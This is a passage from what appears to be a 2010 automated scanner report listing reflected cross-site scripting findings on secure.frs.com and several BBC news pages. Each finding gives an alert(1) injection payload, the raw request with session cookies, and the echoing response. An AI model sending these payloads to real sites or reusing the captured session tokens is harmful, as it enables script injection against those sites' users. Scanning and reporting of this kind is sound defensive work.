Severity:
High
Confidence:
Certain
Host:
https://secure.frs.com
Path:
/freetrial/3offer50pct/cart1.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7af7c'-alert(1)-'044d874d814 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /freetrial/3offer50pct/cart1.aspx?7af7c'-alert(1)-'044d874d814=1 HTTP/1.1 Host: secure.frs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: AspxAutoDetectCookieSupport=1; FRSStore=UserId=18940695&SessionId=USsbEWL5M2AA9UJ442wT; ASP.NET_SessionId=tteix3bg50kknfg0wnoeksag;
Response
HTTP/1.1 200 OK Connection: close Date: Thu, 16 Dec 2010 19:59:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 13640
2.56. https://secure.frs.com/freetrial/3offer50pct/how.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.frs.com
Path:
/freetrial/3offer50pct/how.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0e52'-alert(1)-'4744a28f846 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /freetrial/3offer50pct/how.aspx?c0e52'-alert(1)-'4744a28f846=1 HTTP/1.1 Host: secure.frs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: AspxAutoDetectCookieSupport=1; FRSStore=UserId=18940695&SessionId=USsbEWL5M2AA9UJ442wT; ASP.NET_SessionId=tteix3bg50kknfg0wnoeksag;
Response
HTTP/1.1 200 OK Connection: close Date: Thu, 16 Dec 2010 19:59:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26062
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Conten ...[SNIP]... <script type="text/javascript"> AnalyticsService.LogVisit('tteix3bg50kknfg0wnoeksag', '/freetrial/3offer50pct/how.aspx?c0e52'-alert(1)-'4744a28f846=1'); </script> ...[SNIP]...
2.57. https://secure.frs.com/freetrial/3offer50pct/success.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.frs.com
Path:
/freetrial/3offer50pct/success.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9cd7e'-alert(1)-'892f190a4f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /freetrial/3offer50pct/success.aspx?9cd7e'-alert(1)-'892f190a4f3=1 HTTP/1.1 Host: secure.frs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: AspxAutoDetectCookieSupport=1; FRSStore=UserId=18940695&SessionId=USsbEWL5M2AA9UJ442wT; ASP.NET_SessionId=tteix3bg50kknfg0wnoeksag;
Response
HTTP/1.1 200 OK Connection: close Date: Thu, 16 Dec 2010 19:59:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 23096
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Conten ...[SNIP]... <script type="text/javascript"> AnalyticsService.LogVisit('tteix3bg50kknfg0wnoeksag', '/freetrial/3offer50pct/success.aspx?9cd7e'-alert(1)-'892f190a4f3=1'); </script> ...[SNIP]...
2.58. http://www.bbc.co.uk/go/homepage/i/int/br/ent/head/t/-/entertainment/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/go/homepage/i/int/br/ent/head/t/-/entertainment/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4c61a'-alert(1)-'549ccc14704 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /go/homepage/i/int/br/ent/head/t/-/entertainment/?4c61a'-alert(1)-'549ccc14704=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response (redirected)
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:30:16 GMT Keep-Alive: timeout=10, max=765 Expires: Thu, 16 Dec 2010 19:30:16 GMT Connection: close Content-Length: 57110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.59. http://www.bbc.co.uk/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4bb12'-alert(1)-'1eff79a9885 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/?4bb12'-alert(1)-'1eff79a9885=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:40 GMT Keep-Alive: timeout=10, max=749 Expires: Thu, 16 Dec 2010 19:27:40 GMT Connection: close Content-Length: 93370
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.60. http://www.bbc.co.uk/news/business-12005593 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/business-12005593
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4532d'-alert(1)-'2a1e16ab167 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12005593?4532d'-alert(1)-'2a1e16ab167=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:00 GMT Keep-Alive: timeout=10, max=799 Expires: Thu, 16 Dec 2010 19:28:00 GMT Connection: close Content-Length: 69589
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.61. http://www.bbc.co.uk/news/business-12006544 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/business-12006544
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d8e3'-alert(1)-'a4714e34646 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12006544?9d8e3'-alert(1)-'a4714e34646=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:19 GMT Keep-Alive: timeout=10, max=729 Expires: Thu, 16 Dec 2010 19:28:19 GMT Connection: close Content-Length: 56396
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.62. http://www.bbc.co.uk/news/business-12006764 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/business-12006764
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4af8e'-alert(1)-'e9869bcb09b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12006764?4af8e'-alert(1)-'e9869bcb09b=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:17 GMT Keep-Alive: timeout=10, max=750 Expires: Thu, 16 Dec 2010 19:28:17 GMT Connection: close Content-Length: 70174
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.63. http://www.bbc.co.uk/news/business-12006835 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/business-12006835
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c96c8'-alert(1)-'338fb700f35 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12006835?c96c8'-alert(1)-'338fb700f35=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:27 GMT Keep-Alive: timeout=10, max=741 Expires: Thu, 16 Dec 2010 19:28:27 GMT Connection: close Content-Length: 61421
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.64. http://www.bbc.co.uk/news/business-12007016 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/business-12007016
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f5e0c'-alert(1)-'933bcd19de9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12007016?f5e0c'-alert(1)-'933bcd19de9=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:19 GMT Keep-Alive: timeout=10, max=744 Expires: Thu, 16 Dec 2010 19:28:19 GMT Connection: close Content-Length: 65628
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.65. http://www.bbc.co.uk/news/business-12008023 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/business-12008023
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b8f44'-alert(1)-'e979bcc7986 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12008023?b8f44'-alert(1)-'e979bcc7986=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:15 GMT Keep-Alive: timeout=10, max=556 Expires: Thu, 16 Dec 2010 19:28:15 GMT Connection: close Content-Length: 72793
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.66. http://www.bbc.co.uk/news/business-12013062 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/business-12013062
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 16118'-alert(1)-'cfd5c3262fb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12013062?16118'-alert(1)-'cfd5c3262fb=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:21 GMT Keep-Alive: timeout=10, max=571 Expires: Thu, 16 Dec 2010 19:28:21 GMT Connection: close Content-Length: 64903
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.67. http://www.bbc.co.uk/news/business/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/business/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 232e8'-alert(1)-'3e4bb8e793f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business/?232e8'-alert(1)-'3e4bb8e793f=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:43:37 GMT Keep-Alive: timeout=10, max=747 Expires: Thu, 16 Dec 2010 19:43:37 GMT Connection: close Content-Length: 73879
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.68. http://www.bbc.co.uk/news/entertainment-arts-12006516 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/entertainment-arts-12006516
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 40d49'-alert(1)-'6a70474c933 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/entertainment-arts-12006516?40d49'-alert(1)-'6a70474c933=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:05 GMT Keep-Alive: timeout=10, max=785 Expires: Thu, 16 Dec 2010 19:28:05 GMT Connection: close Content-Length: 54046
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.69. http://www.bbc.co.uk/news/entertainment-arts-12008225 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/entertainment-arts-12008225
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 23295'-alert(1)-'7169313414f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/entertainment-arts-12008225?23295'-alert(1)-'7169313414f=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:03 GMT Keep-Alive: timeout=10, max=516 Expires: Thu, 16 Dec 2010 19:28:03 GMT Connection: close Content-Length: 56442
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.70. http://www.bbc.co.uk/news/entertainment-arts-12008226 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/entertainment-arts-12008226
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a376'-alert(1)-'5f1c1cb07f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/entertainment-arts-12008226?3a376'-alert(1)-'5f1c1cb07f9=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:56 GMT Keep-Alive: timeout=10, max=752 Expires: Thu, 16 Dec 2010 19:27:56 GMT Connection: close Content-Length: 54902
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.71. http://www.bbc.co.uk/news/science-environment-11932069 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/science-environment-11932069
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 14371'-alert(1)-'9c1c5b5ca1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/science-environment-11932069?14371'-alert(1)-'9c1c5b5ca1=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:04 GMT Keep-Alive: timeout=10, max=767 Expires: Thu, 16 Dec 2010 19:28:04 GMT Connection: close Content-Length: 61647
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.72. http://www.bbc.co.uk/news/science-environment-11938904 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/science-environment-11938904
Issue detail
